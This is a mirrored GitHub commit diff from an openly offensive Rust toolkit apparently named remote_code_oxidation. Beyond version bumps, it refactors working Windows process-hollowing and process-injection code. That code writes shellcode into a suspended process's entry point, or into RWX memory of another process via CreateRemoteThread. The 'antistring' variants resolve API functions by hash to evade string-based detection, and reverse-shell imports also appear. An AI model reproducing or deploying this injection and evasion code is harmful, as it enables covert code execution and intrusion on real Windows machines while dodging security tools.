mirror of
https://github.com/kmanc/remote_code_oxidation
synced 2026-06-08 15:21:46 +00:00
Cleanup (#56)
* missed a few before * prototype, moving to test machine for more * dont forget this link! its useful * its macro or nothin * macros are weird...still playing around * this feels close, gotta expand array in macro * i think this does it! will sub in and test thoroughly later * macro working in tcp_reverse_shell * macro worked into process migrations * macro worked into process hollowing * small code rearranging * returned functions are unsafe * antistring functions are split into their own files for ease of maintenance * post import-cleanup comment update * extra newline * that wasnt extra * spacing and sorting * Update reverse shell badge data via Github Action * Update process migration badge data via Github Action * Update process hollowing badge data via Github Action Co-authored-by: kmanc <kmanc@users.noreply.github.com>
This commit is contained in:
kmanc
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"schemaVersion": 1,
|
||||
"label": "process_hollowing",
|
||||
"message": "1.6.4",
|
||||
"message": "1.7.0",
|
||||
"color": "blue"
|
||||
}
|
||||
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"schemaVersion": 1,
|
||||
"label": "process_migration",
|
||||
"message": "1.8.4",
|
||||
"message": "1.9.0",
|
||||
"color": "blue"
|
||||
}
|
||||
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"schemaVersion": 1,
|
||||
"label": "tcp_reverse_shell",
|
||||
"message": "1.2.3",
|
||||
"message": "1.3.0",
|
||||
"color": "blue"
|
||||
}
|
||||
Generated
+4
-4
@@ -82,7 +82,7 @@ checksum = "eb9f9e6e233e5c4a35559a617bf40a4ec447db2e84c20b55a6f83167b7e57872"
|
||||
|
||||
[[package]]
|
||||
name = "process_hollowing"
|
||||
version = "1.6.4"
|
||||
version = "1.7.0"
|
||||
dependencies = [
|
||||
"nix",
|
||||
"rco_config",
|
||||
@@ -92,7 +92,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "process_migration"
|
||||
version = "1.8.4"
|
||||
version = "1.9.0"
|
||||
dependencies = [
|
||||
"nix",
|
||||
"rco_config",
|
||||
@@ -136,7 +136,7 @@ version = "0.2.0"
|
||||
|
||||
[[package]]
|
||||
name = "rco_utils"
|
||||
version = "0.3.5"
|
||||
version = "1.0.0"
|
||||
dependencies = [
|
||||
"rand",
|
||||
"windows",
|
||||
@@ -144,7 +144,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "tcp_reverse_shell"
|
||||
version = "1.2.3"
|
||||
version = "1.3.0"
|
||||
dependencies = [
|
||||
"rco_config",
|
||||
"rco_utils",
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
[package]
|
||||
name = "process_hollowing"
|
||||
version = "1.6.4"
|
||||
version = "1.7.0"
|
||||
edition = "2021"
|
||||
authors = ["Kevin Conley <koins@duck.com>"]
|
||||
rust-version = "1.59"
|
||||
|
||||
@@ -16,12 +16,14 @@ const SHELLCODE: &[u8] = rco_config::ENCRYPTED_LINUX_SHELLCODE;
|
||||
const TARGET_PROCESS: &[u8] = rco_config::ENCRYPTED_LINUX_HOLLOWING_TARGET;
|
||||
|
||||
// Load Windows implementation if the target OS is Windows
|
||||
#[cfg(windows)]
|
||||
#[cfg(all(windows, not(feature = "antistring")))]
|
||||
mod rco_process_hollowing_windows;
|
||||
#[cfg(all(windows, not(feature = "antistring")))]
|
||||
use rco_process_hollowing_windows::hollow_and_run;
|
||||
#[cfg(all(windows, feature = "antistring"))]
|
||||
use rco_process_hollowing_windows::antistring_hollow_and_run as hollow_and_run;
|
||||
mod rco_process_hollowing_windows_antistring;
|
||||
#[cfg(all(windows, feature = "antistring"))]
|
||||
use rco_process_hollowing_windows_antistring::hollow_and_run;
|
||||
// Determine which shellcode and target process to use based on features
|
||||
#[cfg(all(windows, not(feature = "xor")))]
|
||||
const SHELLCODE: &[u8] = rco_config::WINDOWS_SHELLCODE;
|
||||
|
||||
@@ -1,26 +1,14 @@
|
||||
use std::ptr;
|
||||
use std::ffi::{CString, c_void};
|
||||
use std::ptr;
|
||||
use windows::core::{PCSTR, PSTR};
|
||||
use windows::Win32::System::Threading::{CREATE_SUSPENDED,PROCESS_BASIC_INFORMATION, PROCESS_INFORMATION, PROCESSINFOCLASS, STARTUPINFOA};
|
||||
#[cfg(not(feature = "antistring"))]
|
||||
use windows::Win32::System::Threading::{CreateProcessA, NtQueryInformationProcess, ResumeThread};
|
||||
#[cfg(not(feature = "antistring"))]
|
||||
use windows::Win32::System::Diagnostics::Debug::{ReadProcessMemory, WriteProcessMemory};
|
||||
#[cfg(feature = "antistring")]
|
||||
use std::mem;
|
||||
#[cfg(feature = "antistring")]
|
||||
use windows::Win32::Foundation::{BOOL, HANDLE};
|
||||
#[cfg(feature = "antistring")]
|
||||
use windows::Win32::Security::SECURITY_ATTRIBUTES;
|
||||
#[cfg(feature = "antistring")]
|
||||
use windows::Win32::System::Threading::PROCESS_CREATION_FLAGS;
|
||||
use windows::Win32::System::Threading::{CreateProcessA, CREATE_SUSPENDED, NtQueryInformationProcess, PROCESS_BASIC_INFORMATION, PROCESS_INFORMATION, PROCESSINFOCLASS, ResumeThread, STARTUPINFOA};
|
||||
|
||||
const POINTER_SIZE: u32 = usize::BITS >> 3;
|
||||
const POINTER_SIZE_TIMES_SIX: u32 = POINTER_SIZE * 6;
|
||||
const E_LFANEW_OFFSET: usize = 0x3C;
|
||||
const OPTHDR_ADDITIONAL_OFFSET: usize = 0x28;
|
||||
const POINTER_SIZE: u32 = usize::BITS >> 3;
|
||||
const POINTER_SIZE_TIMES_SIX: u32 = POINTER_SIZE * 6;
|
||||
|
||||
#[cfg(not(feature = "antistring"))]
|
||||
pub fn hollow_and_run(shellcode: &[u8], target_process: &str) {
|
||||
// Create empty ProcessInformation struct for use in CreateProcess
|
||||
// WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-process_information
|
||||
@@ -138,103 +126,3 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) {
|
||||
panic!("Could not resume the suspended {target_process}'s execution");
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(feature = "antistring")]
|
||||
pub fn antistring_hollow_and_run(shellcode: &[u8], target_process: &str) {
|
||||
// See line 44
|
||||
let startup_info = STARTUPINFOA::default();
|
||||
|
||||
// See line 49
|
||||
let mut process_information = PROCESS_INFORMATION::default();
|
||||
|
||||
// See line 54
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x6fe222ff0e96f5c4).unwrap();
|
||||
let lp_command_line = PSTR(CString::new(target_process)
|
||||
.unwrap()
|
||||
.into_raw() as *mut u8
|
||||
);
|
||||
unsafe {
|
||||
mem::transmute::<*const (), fn(PCSTR, PSTR, *const SECURITY_ATTRIBUTES, *const SECURITY_ATTRIBUTES, bool, PROCESS_CREATION_FLAGS, *const i32, PCSTR, *const STARTUPINFOA, *const PROCESS_INFORMATION) -> BOOL>
|
||||
(function)(
|
||||
PCSTR::null(),
|
||||
lp_command_line,
|
||||
ptr::null(),
|
||||
ptr::null(),
|
||||
false,
|
||||
CREATE_SUSPENDED,
|
||||
ptr::null(),
|
||||
PCSTR::null(),
|
||||
&startup_info,
|
||||
&mut process_information
|
||||
)
|
||||
};
|
||||
|
||||
// See line 76
|
||||
let function = rco_utils::find_function_address("Ntdll", 0x9b0d5adddbf90f8a).unwrap();
|
||||
let process_handle = process_information.hProcess;
|
||||
let mut basic_information = PROCESS_BASIC_INFORMATION::default();
|
||||
let info_class = PROCESSINFOCLASS::default();
|
||||
unsafe {
|
||||
mem::transmute::<*const (), fn(HANDLE, PROCESSINFOCLASS, *mut c_void, u32, *mut u32)>
|
||||
(function)(process_handle, info_class, &mut basic_information as *mut _ as *mut c_void, POINTER_SIZE_TIMES_SIX, ptr::null_mut())
|
||||
};
|
||||
|
||||
// See line 86
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x1c1cfbf71004cba8).unwrap();
|
||||
let image_base_address = basic_information.PebBaseAddress as u64 + 0x10;
|
||||
let mut address_buffer = [0; POINTER_SIZE as usize];
|
||||
unsafe {
|
||||
mem::transmute::<*const (), fn(HANDLE, *const c_void, *mut c_void, usize, *mut usize)>
|
||||
(function)(
|
||||
process_handle,
|
||||
image_base_address as *const c_void,
|
||||
address_buffer.as_mut_ptr() as *mut c_void,
|
||||
address_buffer.len(),
|
||||
ptr::null_mut()
|
||||
)
|
||||
};
|
||||
|
||||
// See line 96
|
||||
let mut header_buffer = [0_u8; 0x200];
|
||||
let head_pointer_raw = header_buffer.as_mut_ptr() as usize;
|
||||
let pe_base_address = unsafe { ptr::read(address_buffer.as_ptr() as *const usize) };
|
||||
unsafe {
|
||||
mem::transmute::<*const (), fn(HANDLE, *const c_void, *mut c_void, usize, *mut usize)>
|
||||
(function)(
|
||||
process_handle,
|
||||
pe_base_address as *const c_void,
|
||||
header_buffer.as_mut_ptr() as *mut c_void,
|
||||
header_buffer.len(),
|
||||
ptr::null_mut()
|
||||
)
|
||||
};
|
||||
if header_buffer[0] as char != 'M' || header_buffer[1] as char != 'Z' {
|
||||
panic!("An offset looks incorrect, the DOS header magic bytes don't correspond to 'MZ'");
|
||||
}
|
||||
|
||||
// See line 106
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x2638fa76194bfe63).unwrap();
|
||||
let e_lfanew = unsafe { ptr::read((head_pointer_raw + E_LFANEW_OFFSET) as *const u32) };
|
||||
let opthdr_offset = e_lfanew as usize + OPTHDR_ADDITIONAL_OFFSET;
|
||||
let entry_point_rva = unsafe { ptr::read((head_pointer_raw + opthdr_offset) as *const u32) };
|
||||
let entry_point_address = entry_point_rva as usize + pe_base_address;
|
||||
unsafe {
|
||||
mem::transmute::<*const (), fn(HANDLE, *const c_void, *const c_void, usize, *mut usize)>
|
||||
(function)(
|
||||
process_handle,
|
||||
entry_point_address as *const c_void,
|
||||
shellcode.as_ptr() as *const c_void,
|
||||
shellcode.len(),
|
||||
ptr::null_mut()
|
||||
)
|
||||
};
|
||||
|
||||
// See line 119
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x9f2eb3a0195b21d).unwrap();
|
||||
unsafe {
|
||||
mem::transmute::<*const (), fn(HANDLE)>
|
||||
(function)(
|
||||
process_information.hThread
|
||||
)
|
||||
};
|
||||
}
|
||||
|
||||
@@ -0,0 +1,99 @@
|
||||
use std::ffi::{CString, c_void};
|
||||
use std::ptr;
|
||||
use windows::core::{PCSTR, PSTR};
|
||||
use windows::Win32::Foundation::{BOOL, HANDLE};
|
||||
use windows::Win32::Security::SECURITY_ATTRIBUTES;
|
||||
use windows::Win32::System::Threading::{CREATE_SUSPENDED, PROCESS_BASIC_INFORMATION, PROCESS_CREATION_FLAGS, PROCESS_INFORMATION, PROCESSINFOCLASS, STARTUPINFOA};
|
||||
|
||||
const E_LFANEW_OFFSET: usize = 0x3C;
|
||||
const OPTHDR_ADDITIONAL_OFFSET: usize = 0x28;
|
||||
const POINTER_SIZE: u32 = usize::BITS >> 3;
|
||||
const POINTER_SIZE_TIMES_SIX: u32 = POINTER_SIZE * 6;
|
||||
|
||||
pub fn hollow_and_run(shellcode: &[u8], target_process: &str) {
|
||||
// See line 13
|
||||
let mut process_information = PROCESS_INFORMATION::default();
|
||||
|
||||
// See line 18
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x6fe222ff0e96f5c4).unwrap();
|
||||
let function = rco_utils::construct_win32_function!(function; [PCSTR, PSTR, *const SECURITY_ATTRIBUTES, *const SECURITY_ATTRIBUTES, bool, PROCESS_CREATION_FLAGS, *const i32, PCSTR, *const STARTUPINFOA, *mut PROCESS_INFORMATION]; [BOOL]);
|
||||
let lp_command_line = PSTR(CString::new(target_process)
|
||||
.unwrap()
|
||||
.into_raw() as *mut u8
|
||||
);
|
||||
unsafe { function(
|
||||
PCSTR::null(),
|
||||
lp_command_line,
|
||||
ptr::null(),
|
||||
ptr::null(),
|
||||
false,
|
||||
CREATE_SUSPENDED,
|
||||
ptr::null(),
|
||||
PCSTR::null(),
|
||||
&STARTUPINFOA::default(),
|
||||
&mut process_information
|
||||
) };
|
||||
|
||||
// See line 43
|
||||
let function = rco_utils::find_function_address("Ntdll", 0x9b0d5adddbf90f8a).unwrap();
|
||||
let function = rco_utils::construct_win32_function!(function; [HANDLE, PROCESSINFOCLASS, *mut c_void, u32, *mut u32]; [()]);
|
||||
let process_handle = process_information.hProcess;
|
||||
let mut basic_information = PROCESS_BASIC_INFORMATION::default();
|
||||
unsafe { function(
|
||||
process_handle,
|
||||
PROCESSINFOCLASS::default(),
|
||||
&mut basic_information as *mut _ as *mut c_void,
|
||||
POINTER_SIZE_TIMES_SIX,
|
||||
ptr::null_mut()
|
||||
) };
|
||||
|
||||
// See line 60
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x1c1cfbf71004cba8).unwrap();
|
||||
let function = rco_utils::construct_win32_function!(function; [HANDLE, *const c_void, *mut c_void, usize, *mut usize]; [()]);
|
||||
let image_base_address = basic_information.PebBaseAddress as u64 + 0x10;
|
||||
let mut address_buffer = [0; POINTER_SIZE as usize];
|
||||
unsafe { function(
|
||||
process_handle,
|
||||
image_base_address as *const c_void,
|
||||
address_buffer.as_mut_ptr() as *mut c_void,
|
||||
address_buffer.len(),
|
||||
ptr::null_mut()
|
||||
) };
|
||||
|
||||
// See line 78
|
||||
let mut header_buffer = [0_u8; 0x200];
|
||||
let head_pointer_raw = header_buffer.as_mut_ptr() as usize;
|
||||
let pe_base_address = unsafe { ptr::read(address_buffer.as_ptr() as *const usize) };
|
||||
unsafe { function(
|
||||
process_handle,
|
||||
pe_base_address as *const c_void,
|
||||
header_buffer.as_mut_ptr() as *mut c_void,
|
||||
header_buffer.len(),
|
||||
ptr::null_mut()
|
||||
) };
|
||||
if header_buffer[0] as char != 'M' || header_buffer[1] as char != 'Z' {
|
||||
panic!("An offset looks incorrect, the DOS header magic bytes don't correspond to 'MZ'");
|
||||
}
|
||||
|
||||
// See line 97
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x2638fa76194bfe63).unwrap();
|
||||
let function = rco_utils::construct_win32_function!(function; [HANDLE, *const c_void, *const c_void, usize, *mut usize]; [()]);
|
||||
let e_lfanew = unsafe { ptr::read((head_pointer_raw + E_LFANEW_OFFSET) as *const u32) };
|
||||
let opthdr_offset = e_lfanew as usize + OPTHDR_ADDITIONAL_OFFSET;
|
||||
let entry_point_rva = unsafe { ptr::read((head_pointer_raw + opthdr_offset) as *const u32) };
|
||||
let entry_point_address = entry_point_rva as usize + pe_base_address;
|
||||
unsafe { function(
|
||||
process_handle,
|
||||
entry_point_address as *const c_void,
|
||||
shellcode.as_ptr() as *const c_void,
|
||||
shellcode.len(),
|
||||
ptr::null_mut()
|
||||
) };
|
||||
|
||||
// See line 117
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x9f2eb3a0195b21d).unwrap();
|
||||
let function = rco_utils::construct_win32_function!(function; [HANDLE]; [()]);
|
||||
unsafe { function(
|
||||
process_information.hThread
|
||||
) };
|
||||
}
|
||||
@@ -1,6 +1,6 @@
|
||||
[package]
|
||||
name = "process_migration"
|
||||
version = "1.8.4"
|
||||
version = "1.9.0"
|
||||
edition = "2021"
|
||||
authors = ["Kevin Conley <koins@duck.com>"]
|
||||
rust-version = "1.59"
|
||||
|
||||
@@ -16,12 +16,14 @@ const SHELLCODE: &[u8] = rco_config::ENCRYPTED_LINUX_SHELLCODE;
|
||||
const TARGET_PROCESS: &[u8] = rco_config::ENCRYPTED_LINUX_MIGRATION_TARGET;
|
||||
|
||||
// Load Windows implementation if the target OS is Windows
|
||||
#[cfg(windows)]
|
||||
#[cfg(all(windows, not(feature = "antistring")))]
|
||||
mod rco_process_migration_windows;
|
||||
#[cfg(all(windows, not(feature = "antistring")))]
|
||||
use rco_process_migration_windows::inject_and_migrate;
|
||||
#[cfg(all(windows, feature = "antistring"))]
|
||||
use rco_process_migration_windows::antistring_inject_and_migrate as inject_and_migrate;
|
||||
mod rco_process_migration_windows_antistring;
|
||||
#[cfg(all(windows, feature = "antistring"))]
|
||||
use rco_process_migration_windows_antistring::inject_and_migrate;
|
||||
// Determine which shellcode and target process to use based on features
|
||||
#[cfg(all(windows, not(feature = "xor")))]
|
||||
const SHELLCODE: &[u8] = rco_config::WINDOWS_SHELLCODE;
|
||||
|
||||
@@ -1,27 +1,12 @@
|
||||
use core::ffi::c_void;
|
||||
use std::{mem, ptr};
|
||||
use windows::Win32::Foundation::CHAR;
|
||||
use windows::Win32::System::Diagnostics::ToolHelp::{PROCESSENTRY32, TH32CS_SNAPPROCESS};
|
||||
use windows::Win32::System::Memory::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE};
|
||||
use windows::Win32::System::Threading::PROCESS_ALL_ACCESS;
|
||||
#[cfg(not(feature = "antistring"))]
|
||||
use windows::Win32::System::Diagnostics::Debug::WriteProcessMemory;
|
||||
#[cfg(not(feature = "antistring"))]
|
||||
use windows::Win32::System::Diagnostics::ToolHelp::{CreateToolhelp32Snapshot, Process32Next};
|
||||
#[cfg(not(feature = "antistring"))]
|
||||
use windows::Win32::System::Memory::VirtualAllocEx;
|
||||
#[cfg(not(feature = "antistring"))]
|
||||
use windows::Win32::System::Threading::{CreateRemoteThread, OpenProcess};
|
||||
#[cfg(feature = "antistring")]
|
||||
use windows::Win32::Foundation::{BOOL, HANDLE};
|
||||
#[cfg(feature = "antistring")]
|
||||
use windows::Win32::System::Diagnostics::ToolHelp::CREATE_TOOLHELP_SNAPSHOT_FLAGS;
|
||||
#[cfg(feature = "antistring")]
|
||||
use windows::Win32::System::Memory::{PAGE_PROTECTION_FLAGS, VIRTUAL_ALLOCATION_TYPE};
|
||||
#[cfg(feature = "antistring")]
|
||||
use windows::Win32::System::Threading::PROCESS_ACCESS_RIGHTS;
|
||||
use windows::Win32::System::Diagnostics::ToolHelp::{CreateToolhelp32Snapshot, Process32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS};
|
||||
use windows::Win32::System::Memory::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, VirtualAllocEx};
|
||||
use windows::Win32::System::Threading::{CreateRemoteThread, OpenProcess, PROCESS_ALL_ACCESS};
|
||||
|
||||
|
||||
#[cfg(not(feature = "antistring"))]
|
||||
pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) {
|
||||
// Call CreateToolhelp32Snapshot to get a snapshot of all the processes currently running
|
||||
// WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot
|
||||
@@ -114,92 +99,3 @@ pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) {
|
||||
panic!("CreateRemoteThread failed");
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(feature = "antistring")]
|
||||
pub fn antistring_inject_and_migrate(shellcode: &[u8], target_process: &str) {
|
||||
// See line 28
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x139872fd098af4a7).unwrap();
|
||||
let snapshot = unsafe {
|
||||
mem::transmute::<*const (), fn(CREATE_TOOLHELP_SNAPSHOT_FLAGS, u32) -> HANDLE>
|
||||
(function)(TH32CS_SNAPPROCESS, 0_u32)
|
||||
};
|
||||
|
||||
// See line 38
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x4cf400a249844bee).unwrap();
|
||||
let mut pid: u32 = 0;
|
||||
let mut process_entry = PROCESSENTRY32::default();
|
||||
process_entry.dwSize = mem::size_of::<PROCESSENTRY32>() as u32;
|
||||
while unsafe {
|
||||
mem::transmute::<*const (), fn(HANDLE, &mut PROCESSENTRY32) -> BOOL>
|
||||
(function)(
|
||||
snapshot,
|
||||
&mut process_entry
|
||||
).as_bool()
|
||||
} {
|
||||
let mut process_name = String::from("");
|
||||
for element in process_entry.szExeFile {
|
||||
let element_as_u8 = unsafe { mem::transmute::<CHAR, u8>(element) };
|
||||
if element_as_u8 == 0 {
|
||||
break
|
||||
}
|
||||
process_name.push(element_as_u8 as char);
|
||||
}
|
||||
if process_name.contains(target_process) {
|
||||
pid = process_entry.th32ProcessID;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// See line 62
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x2c116091e452cf52).unwrap();
|
||||
let explorer_handle = unsafe {
|
||||
mem::transmute::<*const (), fn(PROCESS_ACCESS_RIGHTS, bool, u32) -> HANDLE>
|
||||
(function)(
|
||||
PROCESS_ALL_ACCESS,
|
||||
false,
|
||||
pid
|
||||
)
|
||||
};
|
||||
|
||||
// See line 72
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x5cfd66a14ed9a43).unwrap();
|
||||
let base_address = unsafe {
|
||||
mem::transmute::<*const (), fn(HANDLE, *const u32, usize, VIRTUAL_ALLOCATION_TYPE, PAGE_PROTECTION_FLAGS) -> *const c_void>
|
||||
(function)(
|
||||
explorer_handle,
|
||||
ptr::null(),
|
||||
shellcode.len(),
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_EXECUTE_READWRITE
|
||||
)
|
||||
};
|
||||
|
||||
// See line 77
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x2638fa76194bfe63).unwrap();
|
||||
unsafe {
|
||||
mem::transmute::<*const (), fn(HANDLE, *const c_void, *const c_void, usize, *mut usize)>
|
||||
(function)(
|
||||
explorer_handle,
|
||||
base_address,
|
||||
shellcode.as_ptr() as *const c_void,
|
||||
shellcode.len(),
|
||||
ptr::null_mut()
|
||||
)
|
||||
};
|
||||
|
||||
// See line 85
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x2a0b247f3bdeef70).unwrap();
|
||||
let start_address_option = unsafe { Some(mem::transmute(base_address)) };
|
||||
unsafe {
|
||||
mem::transmute::<*const (), fn(HANDLE, *const u32, u32, Option<unsafe extern "system" fn(*mut c_void) -> u32>, *const u32, u32, *mut u32)>
|
||||
(function)(
|
||||
explorer_handle,
|
||||
ptr::null(),
|
||||
0,
|
||||
start_address_option,
|
||||
ptr::null(),
|
||||
0,
|
||||
ptr::null_mut()
|
||||
)
|
||||
};
|
||||
}
|
||||
|
||||
@@ -0,0 +1,88 @@
|
||||
use core::ffi::c_void;
|
||||
use std::{mem, ptr};
|
||||
use windows::Win32::Foundation::{BOOL, CHAR, HANDLE};
|
||||
use windows::Win32::System::Diagnostics::ToolHelp::{CREATE_TOOLHELP_SNAPSHOT_FLAGS, PROCESSENTRY32, TH32CS_SNAPPROCESS};
|
||||
use windows::Win32::System::Memory::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, PAGE_PROTECTION_FLAGS, VIRTUAL_ALLOCATION_TYPE};
|
||||
use windows::Win32::System::Threading::{PROCESS_ACCESS_RIGHTS, PROCESS_ALL_ACCESS};
|
||||
|
||||
pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) {
|
||||
// See line 11
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x139872fd098af4a7).unwrap();
|
||||
let function = rco_utils::construct_win32_function!(function; [CREATE_TOOLHELP_SNAPSHOT_FLAGS, u32]; [HANDLE]);
|
||||
let snapshot = unsafe { function(
|
||||
TH32CS_SNAPPROCESS,
|
||||
0_u32
|
||||
) };
|
||||
|
||||
// See line 20
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x4cf400a249844bee).unwrap();
|
||||
let function = rco_utils::construct_win32_function!(function; [HANDLE, &mut PROCESSENTRY32]; [BOOL]);
|
||||
let mut pid = 0_u32;
|
||||
let mut process_entry = PROCESSENTRY32 {
|
||||
dwSize: mem::size_of::<PROCESSENTRY32>() as u32,
|
||||
..Default::default()
|
||||
};
|
||||
while unsafe { function(
|
||||
snapshot,
|
||||
&mut process_entry
|
||||
).as_bool()
|
||||
} {
|
||||
let mut process_name = String::from("");
|
||||
for element in process_entry.szExeFile {
|
||||
let element_as_u8 = unsafe { mem::transmute::<CHAR, u8>(element) };
|
||||
if element_as_u8 == 0 {
|
||||
break
|
||||
}
|
||||
process_name.push(element_as_u8 as char);
|
||||
}
|
||||
if process_name.contains(target_process) {
|
||||
pid = process_entry.th32ProcessID;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// See line 46
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x2c116091e452cf52).unwrap();
|
||||
let function = rco_utils::construct_win32_function!(function; [PROCESS_ACCESS_RIGHTS, bool, u32]; [HANDLE]);
|
||||
let explorer_handle = unsafe { function(
|
||||
PROCESS_ALL_ACCESS,
|
||||
false,
|
||||
pid
|
||||
) };
|
||||
|
||||
// See line 55
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x5cfd66a14ed9a43).unwrap();
|
||||
let function = rco_utils::construct_win32_function!(function; [HANDLE, *const u32, usize, VIRTUAL_ALLOCATION_TYPE, PAGE_PROTECTION_FLAGS]; [*const c_void]);
|
||||
let base_address = unsafe { function(
|
||||
explorer_handle,
|
||||
ptr::null(),
|
||||
shellcode.len(),
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_EXECUTE_READWRITE
|
||||
) };
|
||||
|
||||
// See line 68
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x2638fa76194bfe63).unwrap();
|
||||
let function = rco_utils::construct_win32_function!(function; [HANDLE, *const c_void, *const c_void, usize, *mut usize]; [()]);
|
||||
unsafe { function(
|
||||
explorer_handle,
|
||||
base_address,
|
||||
shellcode.as_ptr() as *const c_void,
|
||||
shellcode.len(),
|
||||
ptr::null_mut()
|
||||
) };
|
||||
|
||||
// See line 84
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x2a0b247f3bdeef70).unwrap();
|
||||
let function = rco_utils::construct_win32_function!(function; [HANDLE, *const u32, u32, Option<unsafe extern "system" fn(*mut c_void) -> u32>, *const u32, u32, *mut u32]; [()]);
|
||||
let start_address_option = unsafe { Some(mem::transmute(base_address)) };
|
||||
unsafe { function(
|
||||
explorer_handle,
|
||||
ptr::null(),
|
||||
0,
|
||||
start_address_option,
|
||||
ptr::null(),
|
||||
0,
|
||||
ptr::null_mut()
|
||||
) };
|
||||
}
|
||||
@@ -1,6 +1,6 @@
|
||||
[package]
|
||||
name = "rco_utils"
|
||||
version = "0.3.5"
|
||||
version = "1.0.0"
|
||||
edition = "2021"
|
||||
authors = ["Kevin Conley <koins@duck.com>"]
|
||||
rust-version = "1.59"
|
||||
|
||||
+23
-1
@@ -273,4 +273,26 @@ pub fn find_function_address(dll: &str, name_hash: u64) -> Result<*const (), Box
|
||||
}
|
||||
}
|
||||
Err(format!("Could not find the function '{name_hash:x}' in '{dll}'").into())
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
#[macro_export]
|
||||
macro_rules! construct_win32_function {
|
||||
// Take in:
|
||||
// one x - the function pointer
|
||||
// zero or more y - the function argument data types
|
||||
// zero or more z - the function return data types
|
||||
(
|
||||
$(
|
||||
$x:expr; [ $( $y:ty ),* ]; [ $( $z:ty ),* ]
|
||||
);*
|
||||
) => {
|
||||
// Interpret the memory at the provided function pointer "x" as a function with args "y" and return "z"
|
||||
// Based on https://rust-lang.github.io/unsafe-code-guidelines/layout/function-pointers.html
|
||||
// this is a safe transmute because it will be guaranteed on Windows
|
||||
// So the macro is safe despite the unsafe code
|
||||
unsafe {
|
||||
std::mem::transmute::<*const (), unsafe fn( $($( $y ),*),* ) -> $($( $z ),*),*>($( $x ),*)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
[package]
|
||||
name = "tcp_reverse_shell"
|
||||
version = "1.2.3"
|
||||
version = "1.3.0"
|
||||
edition = "2021"
|
||||
authors = ["Kevin Conley <koins@duck.com>"]
|
||||
rust-version = "1.59"
|
||||
|
||||
@@ -5,12 +5,14 @@ mod rco_reverse_shell_linux;
|
||||
use rco_reverse_shell_linux::shell;
|
||||
|
||||
// Load Windows implementation if the target OS is Windows
|
||||
#[cfg(windows)]
|
||||
#[cfg(all(windows, not(feature = "antistring")))]
|
||||
mod rco_reverse_shell_windows;
|
||||
#[cfg(all(windows, not(feature = "antistring")))]
|
||||
use rco_reverse_shell_windows::shell;
|
||||
#[cfg(all(windows, feature = "antistring"))]
|
||||
use rco_reverse_shell_windows::antistring_shell as shell;
|
||||
mod rco_reverse_shell_windows_antistring;
|
||||
#[cfg(all(windows, feature = "antistring"))]
|
||||
use rco_reverse_shell_windows_antistring::shell;
|
||||
|
||||
fn main() {
|
||||
// Runs the sandbox detection function or the dummy replacement, dependent on features
|
||||
|
||||
@@ -2,34 +2,23 @@ use std::{mem, ptr};
|
||||
use std::ffi::{CStr, CString, c_void};
|
||||
use windows::core::{PCSTR, PSTR};
|
||||
use windows::Win32::Foundation::HANDLE;
|
||||
use windows::Win32::Networking::WinSock::{AF_INET, IPPROTO_TCP, SOCK_STREAM, SOCKADDR, SOCKADDR_IN, SOCKET, WSAData};
|
||||
use windows::Win32::Networking::WinSock::{AF_INET, connect, htons, inet_pton, IPPROTO_TCP, SOCK_STREAM, SOCKADDR, SOCKADDR_IN, SOCKET, WSAData, WSASocketA, WSAStartup};
|
||||
use windows::Win32::Security::SECURITY_ATTRIBUTES;
|
||||
use windows::Win32::System::Threading::{PROCESS_CREATION_FLAGS, PROCESS_INFORMATION, STARTF_USESTDHANDLES, STARTUPINFOA};
|
||||
#[cfg(not(feature = "antistring"))]
|
||||
use windows::Win32::Networking::WinSock::{connect, htons, inet_pton, WSASocketA, WSAStartup};
|
||||
#[cfg(not(feature = "antistring"))]
|
||||
use windows::Win32::System::SystemInformation::GetSystemDirectoryA;
|
||||
#[cfg(not(feature = "antistring"))]
|
||||
use windows::Win32::System::Threading::CreateProcessA;
|
||||
#[cfg(feature = "antistring")]
|
||||
use windows::Win32::Foundation::BOOL;
|
||||
#[cfg(feature = "antistring")]
|
||||
use windows::Win32::Networking::WinSock::WSAPROTOCOL_INFOA;
|
||||
